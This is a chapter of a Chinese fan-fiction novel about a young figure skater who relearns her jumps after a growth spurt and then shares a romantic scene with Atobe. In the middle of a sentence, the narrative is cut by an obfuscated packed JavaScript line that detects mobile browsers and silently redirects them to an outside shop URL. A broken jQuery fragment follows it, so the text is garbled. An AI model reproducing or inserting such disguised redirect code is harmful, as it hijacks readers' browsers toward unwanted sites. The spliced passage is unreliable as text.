文趣网 > 玄幻小说 > [网王]和迹部君分手后 > 19. 第20章
    王子俱乐部。

    凌音坐在空无一人的冰场休息椅上,弯腰调试着新冰鞋的鞋舌。

    来冰场之前,她先去了加藤先生那里取了这双定制冰鞋。那位加藤先生果然是位手艺娴熟的老匠人,虽是第一次接触她,做出的新鞋却合脚到让她惊讶,冰刀的位置也贴合她的习惯。

    调试好冰鞋,凌音直起身,将腿伸直看着自己的新鞋,心里难得泛起愉悦的气泡。

    今天的一切仿佛都刚刚好。天气晴朗舒适,早餐清淡适口,还有连续两天的充足睡眠,将她身体里沉积的疲惫一扫而空。

    「是个上冰的好日子。」

    凌音将冰刀的保护套摘下,深呼吸口气起身迈入冰场。

    母亲神崎惠去世后的很长一段时间里,她所有信念都崩塌了。

    母亲对她来说是唯一的亲人,也是带她站在冰上的人。

    她因为母亲的离世痛苦不已。可有一晚,在夜深人静时,她躺在床上想起今后不用再承受因为松懈而被母亲责备的目光,不需要控制体重而挨饿,不会再因为日复一日的训练……心里竟然升起了一丝轻松。

    当意识到自己在想什么后,她浑身僵住!先是觉得发冷,接着是滚烫,骤冷骤热让她片刻就出了一身汗。

    等身体恢复了气力,她抬手“啪”一声狠狠扇了自己一巴掌。

    感受着脸颊上热辣胀痛,凌音心里的恐惧没有减少分毫——那不是别人,是将她带离地狱赋予她新生的母亲,她竟然在庆幸她的死亡。

    后来整个晚上,她为自己有这种念头而陷入不可自拔的绝望。她将自己捆绑在审判的十字架上,日夜诅咒自己。

    所以她必须要站在冰上。无关热爱,只为了不让自己逃离那双责备的眼睛。

    越是这样想,她对上冰的恐惧越深,只要一想起自己要站在冰上,她的右腿就不可抑制地疼。

    可当崭新的冰刀与刚浇过的冰面接触那一瞬间,发出的“咔”一声轻响,对凌音来说是熟悉的天籁一样声音。她的眼睛都亮了起来,心底仅剩的恐惧彻底消散,她将另一只脚踏上冰面。

    冰刀切开冰面,被绵密的冰屑包裹住的细微触觉,让凌音感到无比安心——是只有冰才能带给她的安全感。

    她点着脚尖,在冰上轻盈地跳动了两下,然后朝着空荡荡的冰场优雅躬身,做出一个单手抚胸礼:

    “初次见面。”

    向冰场打过招呼后,她抬起头,明亮的棕绿色眼睛里涨起笑意。重新踏上冰面在她的想象中原本是让她焦虑甚至于恐惧的事,原来打破它只需要一步。

    她蹬开冰面,沿着冰场的外围匀速滑行一周后,做着几个基础动作热身,慢慢找回了冰带给她的独特的自由。

    朝雾结人同冰场的负责人月野女士一起进来的时候,就见偌大安静的冰场中央,少女向后躬身,在冰上原地轻盈旋转。

    原本还在交谈的声音停住了。

    月野忽然想起曾经一位资历深厚的裁判在采访中被问到为何她很少给出高分,她严肃强调,“花滑不仅是技术,更是极致的美学艺术。”

    可同时拥有这两样天赋的选手太难得了,这样的选手无一不是金牌选手,比如自己身边这位朝雾结人。

    月野望着冰上缓慢而舒展旋转着的身影,喃声道:“躬身转原来这样美,不愧是被朝雾先生看中的徒弟。”

    常见的躬身旋转动作,乍看起来神崎绫音做起来与其他选手似乎没有不同,但若再细看无论是流畅的身体弧度、肩膀到指尖的延展线条、优雅平稳的浮腿,都有着细微的差别。就是这一点点差别,整个动作被她演绎得如同一首浪漫的抒情诗。

    朝雾结人灿烂一笑,在外人面前夸赞起徒弟毫不吝啬,“她的天赋在我之上。”

    月野真诚道:“您的眼光自然不会出错,合作愉快。”

    朝雾结人挠挠后脑勺,完全没有名人负担地咧嘴一笑:“贵俱乐部好高的办事效率。”

    早上音酱看了一眼冰场就点头同意了在这里挂靠,他本来还想着得跟俱乐部磨上一两天时间才能敲定合同条款细节,结果对方直接掏出了一副有诚意到出乎他意料的合同来,并表示从今天开始,冰场24小时对他们开放。

    握着刚盖好章的合同,他心下不由生出一些疑虑:虽然流程与合同条款都没有任何问题,但未免太顺利了。

    对此月野倒是回得相当直白,“如您所见,我们这样一个新俱乐部,能跟两位合作已经是万幸了,别家俱乐部恐怕都是求之不得。”

    她说的自然也是实话。无论哪家俱乐部,能够招揽到朝雾结人都是稳赚不赔,就算对方不执教,俱乐部也相当于拥有了金字招牌。

    朝雾结人环顾着这座刚建起的冰场,根据他的大赛经验,这座冰场完全是按照国际赛制建立的顶级配置,野心可见一斑,为什么完全没有对外开放或者招收计划?

    月野告诉他:“我们老板说,目前没有值得签约的选手。”

    回想起自家老板的原话,月野不由又朝场上的凌音看去。

    此时凌音又完成一组倒莫霍克步。她今天恢复上冰想要做一套全动作测试,看看自己需要进行哪些补足训练,目前测试内容只剩跳跃。

    感受着冰场特有的凉风拂面而来,她心中更为畅快地接了一个前内转三,然后——

    毫不犹豫地起跳!

    3A。她喜欢开场就用的,闭着眼睛都不会出错的三周跳。

    然而,跳起的那一瞬间,凌音就知道自己失败了——力量不足,轴心从一开始就偏移了。

    “啪!”

    一声闷响,她已经摔落在冰面上。

    “音酱!”

    凌音趴在冰面上,耳边能听到朝雾结人在担忧地叫她的名字,但她脑海中那个时刻是空白的。

    只靠身体记忆闭着眼睛也能跳出的3A,失败了。

    「为什么?」

    凌音枕在冰面,忽略身体的钝痛,回想刚在从起跳到摔倒的每一帧动作。

    因为起跳时机不对,重心没有抛到足够的高度。但同时,她也很清楚自己的肌肉记忆没有出错。

    她缓慢地坐起身,看着自己的双腿。

    她长高了7公分,重心比以前更靠上;腿变长,身体比例发生变化,摆动轨迹也变长了。最终要的是,即使每日锻炼,她的核心力量仍然跟不上肌肉和骨骼的成长,起跳的瞬间动作已经因为力量不足而散掉了。

    这就是发育关带来的变化。

    就算先前已经做好了心理准备,但凌音此刻才真正感到这些变化带给她的无力。

    “音酱。”朝雾结人趴在界墙上,皱眉问她,“有没有受伤?”

    凌音站起身滑行过来,对他摇摇头:“我没事。”安抚了朝雾结人,她又问月野,“月野小姐,今天我可以一直在这里训练对吗?”

    月野相当客气道:“是的,神崎小姐。门禁处已经录入了您的信息,您可以自由出入场馆。”

    “谢谢。”凌音看了她一眼,随后转身回到冰场继续测试其他跳跃动作。

    3A失败了,正常来说应该依次降难度。但在她接下来起跳的瞬间,朝雾结人眉头就皱成了死结。

    “4T?!”月野张大眼睛,看着不带一丝犹豫利落起跳的身影,不由替她捏了一把汗。

    三周跳失败后,竟然还要挑战四周跳,这是跟自己较劲呢?

    「到底年纪小,太骄傲了。」

    月野这样想着,余光看着朝雾结人,果然他的眉头还没有松开,一副想要说什么又强自忍耐住了的表情。

    见他作为教练却没有叫停的意思,月野只得开口:“朝雾先生不劝劝她吗?神崎小姐才刚恢复训练吧。”

    第一天就让这位神崎小姐受伤,她怕是没办法跟老板交代。

    朝雾结人却没上去制止,他捏着手中卷成圆柱的合同,叹息:“她有分寸。”

    好像第一次见到音酱时她也在练习四周跳。

    那时候她也像现在这样,每次跳跃失败

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17540666|202208||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    后,脸上都露出对自己的不满意,然后再去逼迫出自己身体的极限。她好像早就下定了决心,肆无忌惮地要从自己的身体上榨出某种东西,完全不怕疼。

    就是那个瞬间,让他对一个14岁的孩子生出了敬意。

    可怎么会不疼呢?

    凌音单膝跪在冰面上,感觉膝盖疼得像是骨头裂开了一样。

    落冰时她知道会失败,下意识保护自己的右脚,以至于将压力都给到了膝盖。还好倒地时她单手撑地,卸去了部分冲击——这是多年摔出来的经验。

    不能让疼痛消失,那就要一点点感受它,伺机从中抓取到哪怕一丝对她有参考价值的东西。

    见她又站起来继续,月野看得直咋舌。

    “对自己真能下得去手。”

    迹部嘲讽着凌音,落在她的左手手掌的目光都带着怒气。那靠拇指位置的大鱼际处因肿胀而发紫,在她雪白的肌肤上尤为刺眼。

    “只是看着唬人,还不如你上次擦伤严重。”凌音将双手交握放在腿上,遮住手上的伤,歪头看他,“你怎么来了?”

    “路过。”

    迹部扔下两个字,俯身从车内的冰箱取了个冰袋出来,一言不发地拉过她的手,将冰袋按在她的伤处。

    “嘶——”

    “疼?”迹部按住她想瑟缩回去的手,抬抬眼皮斜她一眼,“疼就对了,还真当自己是沙包。”

    “不疼,就是凉得很。”

    见她眉毛都成倒八字了还嘴硬,迹部心里又是一阵气恼,但按在冰袋上的手还是轻了些。怕自己掌握不住力道,他又将另一只手垫在她的手背下。

    凌音的整个左手被他包裹住在双手间,手心被冰到有些麻木,手背上不属于自己的温热体温愈加明显。温度差带来了痒意,让她的指尖无意勾动了一下。

    微弱的颤动落在迹部眼里,他误以为她疼。仿佛她指尖有看不见线,勾动的时候也牵动了他的情绪,让眉心拧得更紧,手上的动作和声音却相反,都放轻了些。

    “别动,再敷一会儿就好了。”

    凌音手乖乖停在他掌心,抬眸端详他认真的眉眼,看着看着紧绷了一天的心绪缓缓散开,另一种快乐从心底升起,渐渐膨胀。

    车内静了下来。

    车子行驶到了热闹的街区,速度降了下来。透过车窗,可以看到外面熙熙攘攘的人群,喧闹的声音却被隔绝在外。

    所以她叫他的名字的声音小而清晰。

    “景吾。”

    “嗯?”

    “我跳不起来了。”

    声音里没有掩饰的低落,让迹部心里跟着刺了一下。他侧着身与她相对而坐,轻易就将她眼中少见的脆弱收入眼底。

    他收拢手指,将她的手握在掌心,低声道:“只是暂时的。”

    “我很急躁。”凌音视线落在他稳稳托住自己的手上,说着心里的不安,“身体不受控制,3A甚至不如10岁时稳定。重新训练重心需要花费太多时间,不要说超越,我甚至很怕连恢复从前那样都做不到。我是不是根本没有天赋?”

    迹部沉默着听到这里,抬手握着她的后颈让她抬起头来,与她暗淡的眼睛对视,“阿音,你最不需要怀疑的就是自己的天赋。你是我见过的最出色的选手。”

    被他冻得冰凉的手碰到颈部敏感的皮肤,凌音激灵了一下,什么沉重的心思都抖没了。她歪着身体躲开他的手,随口蛐蛐他。

    “说得你见过很多选手一样。”

    迹部松开手,平静道:“是不多,但能打动我的只有你一个。”

    他少有的直白,让凌音愣了下,她盯着那张过分好看的脸低声说出一句突兀的话:

    “……你昨天亲了我。”

    “嗯哼,”迹部哼了声,对她的迟钝有些不满,“现在才反应过来?”

    话音刚落,温热的触感碰到了他的唇。

    一触即分。

    凌音顶着他幽深的目光,飞快地说:

    “这样才公平。”